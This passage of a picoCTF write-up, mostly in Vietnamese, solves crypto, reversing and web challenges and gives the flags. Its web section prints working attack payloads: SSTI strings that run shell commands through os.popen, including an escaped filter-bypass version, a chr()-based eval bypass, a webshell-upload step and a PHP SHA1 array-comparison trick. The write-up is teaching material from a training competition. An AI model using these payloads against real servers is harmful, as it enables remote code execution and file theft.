Vậy chỉ cần thêm vào sau dấu ```;``` một lệnh RETURN thì có thể nhảy đến bất kì vị trí nào.
* payload: ```;RETURN 0```

picoCTF{70637h3r_f0r3v3r_a3d964ee}
### Tap into Hash
Hàm encrypt chèn token gì đó vào giữa, hash bằng sha256, sau đó qua một vài đoạn xor để tạo ra cipher.
Viết thêm hàm decrypt vào sources gốc để làm ngược lại như sau:
``` py
def decrypt(ciphertext, key):
block_size = 16
key_hash = hashlib.sha256(key).digest()
plaintext_padded = b""
for i in range(0, len(ciphertext), block_size):
block = ciphertext[i:i + block_size]
decrypted_block = xor_bytes(block, key_hash)
plaintext_padded += decrypted_block
plaintext = unpad(plaintext_padded)
return plaintext
def unpad(data):
padding_length = data[-1]
return data[:-padding_length].decode('utf-8')
key = b'\x8e\xdc\x08\xb8S\xee6\x0c\xf5\xfd\xceP\x15\xbf\xf6\xe2\x90\xf3\xd7F?,!\x1c\xb0D\x0cO\xcc\x04q\xb8'
encrypted_blockchain = b"\xb4\xc8\xbd\xec@A\xbd-\x1d\xfd\x16\xe1\xe3sW\x18\xb1\x99\xea\xb8\x15\x10\xe8{\x19\xacE\xb3\xb4w\nH\xe7\x9d\xea\xe9EC\xb9(N\xa8\x14\xe1\xb7t]\x1c\xb7\xc8\xb9\xbaAF\xea}L\xadF\xb4\xb1&\n\x19\xac\xcc\xbc\xedGI\xef~\x16\xab\x10\xb6\xb7'\x0cN\xe0\xca\xee\xba\x15D\xbcz\x17\xfa\x17\xe3\xe0sY\x14\xe5\xca\xb5\xecAB\xea{\x1e\xffD\xe4\xb0%\x0cO\xb0\xc9\xee\xefC\x12\xeb|N\xff\x16\xe8\xb4'[\x15\xe0\xd1\xbc\xec\x10F\xe8q\x17\xa8\x10\xe1\xedu\\N\xb6\xc5\xef\xba\x10@\xe8y\x1a\xadC\xe3\xb0p\nO\xb0\xce\xfc\xb5\x15\x1e\xcd\x1di\xb5B\xbc\xba \x05s\xb2\xaf\xde\xb4 \x18\xdc+{\xffQ\xb3\x8d\x1c6y\xeb\xb1\xbc\xaeBH\xed\x01p\xbfc\xaa\xb8\t4V\xc3\xb7\xd3\xe8G\x12\xbfy\x1c\xfd\x11\xad\xe4r\\\x1f\xb5\xc8\xbf\xeeCC\xefy\x18\xadC\xb1\xe3uXM\xe7\xc4\xe9\xeb\x17\x12\xeb{\x1b\xf7\x15\xb6\xf8s^\x1c\xe7\xca\xba\xe5\x10A\xb8-\x18\xffA\xe4\xe7u]J\xb1\xcf\xb9\xef\x12C\xbd+L\xfd\x19\xe6\xed'XN\xe0\xcf\xe9\xef\x17@\xbczI\xa8\x18\xb1\xe1vV\x1d\xe5\xcb\xbf\xec\x12\x15\xec|L\xabD\xb4\xb0n^\x1c\xb8\x98\xea\xea\x10A\xec/\x1c\xfa\x17\xb6\xecp\x08J\xb9\xc4\xed\xeb\x10\x17\xb6+\x1c\xf6\x11\xe5\xe0s\x0bI\xe3\xca\xb9\xbaGH\xb6}\x18\xf7A\xe0\xe5{X\x1f\xb4\x99\xe9\xbe@H\xbf*I\xfd\x14\xb6\xe7 l."
decrypted_blockchain = decrypt(encrypted_blockchain, key)
print("Decrypted Blockchain:", decrypted_blockchain)
```
picoCTF{block_3SRhViRbT1qcX_XUjM0r49cH_qCzmJZzBK_41c10331}
### scramble
nc verbal-sleep.picoctf.net 60759 > output.txt
Vì mỗi phần tử của flag được lưu dưới dạng hex có 4 kí tự, vậy ta có thể tạo một bộ các phần tử có 4 kí tự để mô phỏng lại quá trình scramble. Vì chưa biết trước độ dài nên ta sẽ brute forces cho đến khi độ dài của scramble khớp với output. Sau đó chỉ cần lấy các vị trí theo thứ tự để khôi phục flag.
``` py
def scramble(L):
A = L
i = 2
while (i < len(A)):
A[i-2] += A.pop(i-1)
A[i-1].append(A[:i-2])
i += 1
return L
def get_flag(n):
# flag = open('flag.txt', 'r').read()
flag = []
for i in range(n):
c = str(i)
while len(c) < 4:
c = '0' + c
flag.append(c)
hex_flag = []
for c in flag:
hex_flag.append([c])
return hex_flag
with open("output.txt", "r") as f:
res = f.read()
n = 10
while 1:
testflag = get_flag(n)
# print(testflag)
cypher = scramble(testflag)
# print(cypher)
if abs(len(str(cypher)) - len(res)) <= 2:
break
n += 1
print(cypher)
cypher = str(cypher)
for i in range(n):
c = str(i)
while len(c) < 4:
c = '0' + c
pos = cypher.find(c)
print(chr(int(res[pos:pos+4], 16)), end = '')
```
picoCTF{python_is_weirde2a45ca5}
### Chronohack
Brute forces seed time 10s
```py
from pwn import *
import time
import random
p = remote('verbal-sleep.picoctf.net', 62819)
p.recv()
def get_random(length, timestamp):
alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
random.seed(timestamp) # seeding with current time
s = ""
for i in range(length):
s += random.choice(alphabet)
return s
timestamp = int(time.time() * 1000)
for offset in range(-10, 10):
token = get_random(20, timestamp + offset)
print(token)
p.sendline(token)
response = p.recv().decode()
if "Congratulations" in response:
print(response)
break
p.close()
```
picoCTF{UseSecure#$_Random@j3n3r@T0rs8a8d9ae0}
### perplexed
Hàm checkflag tìm thấy trong IDA như sau:
```C
__int64 __fastcall check(const char *a1)
{
__int64 v2; // rbx
__int64 v3; // [rsp+10h] [rbp-50h]
_QWORD v4[3]; // [rsp+18h] [rbp-48h]
int v5; // [rsp+34h] [rbp-2Ch]
int v6; // [rsp+38h] [rbp-28h]
int v7; // [rsp+3Ch] [rbp-24h]
int j; // [rsp+40h] [rbp-20h]
unsigned int i; // [rsp+44h] [rbp-1Ch]
int v10; // [rsp+48h] [rbp-18h]
int v11; // [rsp+4Ch] [rbp-14h]
if ( strlen(a1) != 27 )
return 1LL;
v3 = 0x617B2375F81EA7E1LL;
v4[0] = 0xD269DF5B5AFC9DB9LL;
*(_QWORD *)((char *)v4 + 7) = 0xF467EDF4ED1BFED2LL;
v11 = 0;
v10 = 0;
v7 = 0;
for ( i = 0; i <= 0x16; ++i )
{
for ( j = 0; j <= 7; ++j )
{
if ( !v10 )
v10 = 1;
v6 = 1 << (7 - j);
v5 = 1 << (7 - v10);
if ( (v6 & *((char *)&v4[-1] + (int)i)) > 0 != (v5 & a1[v11]) > 0 )
return 1LL;
if ( ++v10 == 8 )
{
v10 = 0;
++v11;
}
v2 = v11;
if ( v2 == strlen(a1) )
return 0LL;
}
}
return 0LL;
}
```
Hàm này đang check từng bit thứ j của flag[i] được tính qua dữ liệu ban đầu ở mảng v4, (bao gồm cả đoạn v3 kề trước). Có thể lấy dữ liệu đó từ hex view của IDA và tiến thành gán lại cho flag theo đúng thứ tự đó.
```py
s = 'E1 A7 1E F8 75 23 7B 61 B9 9D FC 5A 5B DF 69 D2 FE 1B ED F4 ED 67 F4 00 00 00 00'
s = bytes.fromhex(s)
print(len(s))
print(s)
flag = [0 for i in range(27)]
k = 0
x = 0
for i in range(len(s)):
for j in range(8):
if k == 0:
k = 1
m1 = 1 << (7 - j)
m2 = 1 << (7 - k)
if (m1 & s[i]) > 0:
flag[x] |= m2
# if ((m1 & s[i]) > 0) != ((m2 & flag[x]) > 0) :
# print("wrong")
k += 1
if k == 8:
k = 0
x += 1
if x == len(s):
# print(flag)
for i in flag: print(chr(i), end = '')
exit(0)
```
picoCTF{0n3_bi7_4t_a_7im3}
### Binary Instrumentation 1
Đây là dạng bài mà các hàm ẩn được sinh ra trong quá trình chạy chương trình nên IDA không thể tìm thấy từ ban đầu, phải tiền hành debug:
Hàm quan trọng đầu tiên ở đây

Follow theo thì thấy nó đang gen ra các địa chỉ kiểu debug*:* ucrtbase.dll:*, ...
Đến đoạn này thì bắt đầu đứng hình

Đặt break point ở đó để nhảy vào xem thì thấy nó đã bắt đầu nhảy và đoạn hàm ban đầu bị ẩn đó

Cứ tiếp tục follow theo, đoạn nào bị đứng thì đặt break point để nhảy vào




Vậy ta đã thấy được đoạn nó gọi hàm sleep, vậy chỉ cần SetIP để nhảy qua đoạn đó.

Flag đã được in ra dưới dạng base 64.

The flag is: cGljb0NURnt3NGtlX20zX3VwX3cxdGhfZnIxZGFfZjI3YWNjMzh9
base64:
picoCTF{w4ke_m3_up_w1th_fr1da_f27acc38}
### Binary Instrumentation 2
Tương tự như phần 1
Vẫn là Debug chay:

...
Sau khi follow hết quá trình thì vẫn chưa thầy flag được in ra ở đâu cả mà chương trình đã gọi hàm kernel32_ExitProcess luôn
Dự đoán là có thể cách làm này đã bị chương trình chặn lại bằng một đoạn Antidebug nào đó, thay vì tìm ra tất cả để bypass thì mình có một ý tưởng là dừng lại khi nó đã gen ra hết các hàm ẩn và dump code để đọc, nhưng cũng khá nhiều thứ...


Một ý tưởng nữa là nếu như flag đã được gen ra thì có thể sẽ tìm thấy ở search strings. Dừng lại ngay trước khi nhảy vào hàm ẩn và đã tìm thấy flag base64 :v:


debug043:0000000140002270 00000041 C cGljb0NURntmcjFkYV9mMHJfYjFuX2luNXRydW0zbnQ0dGlvbiFfYjIxYWVmMzl9
base64:
picoCTF{fr1da_f0r_b1n_in5trum3nt4tion!_b21aef39}
## Web Exploitation
### Cookie Monster Secret Recipe
- Check cookies and we find a base64 encoded data
- 
**Flag : picoCTF{c00k1e_m0nster_l0ves_c00kies_96F58DAB}**
### n0s4n1ty
- Upload a webshell and sudo cat flag.


### head-dump
- Guess directory /heapdump

### SSTI1
Simple payload :
```
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}
```
**Flag: picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_73c99823}**
### SSTI2:
Use ultimate payload ssti :
```
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}
```
**Flag: picoCTF{sst1_f1lt3r_byp4ss_0ef4bd3d}**
### Eval :
Payload using chr() to bypass the regrex
```__import__('subprocess').getoutput('tail '+chr(47)+'flag*')```
**Flag : picoCTF{D0nt_Use_Unsecure_f@nctionsa4121ed2}**
### WebSockFish:
- Interact with WebSocket server with sendMessage .
- Then try to guess ...
- 
**Flag : picoCTF{c1i3nt_s1d3_w3b_s0ck3t5_dc1dbff7}**
### Pachinko
- This challenges are really hard so I cannot solve it .
- Just lucky submitting with 1/16 ratio .

### Apriti sesamo
Check the source code with :
http://verbal-sleep.picoctf.net:58281/impossibleLogin.php~
```php=
<?php if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?>
```
- It simples to check if SHA1 of username == SHA1 of password or not
- We can use SHA1 collision or just using the trick send 2 arrays because PHP allows that
- 
- This return 2 nulls value and return the flag .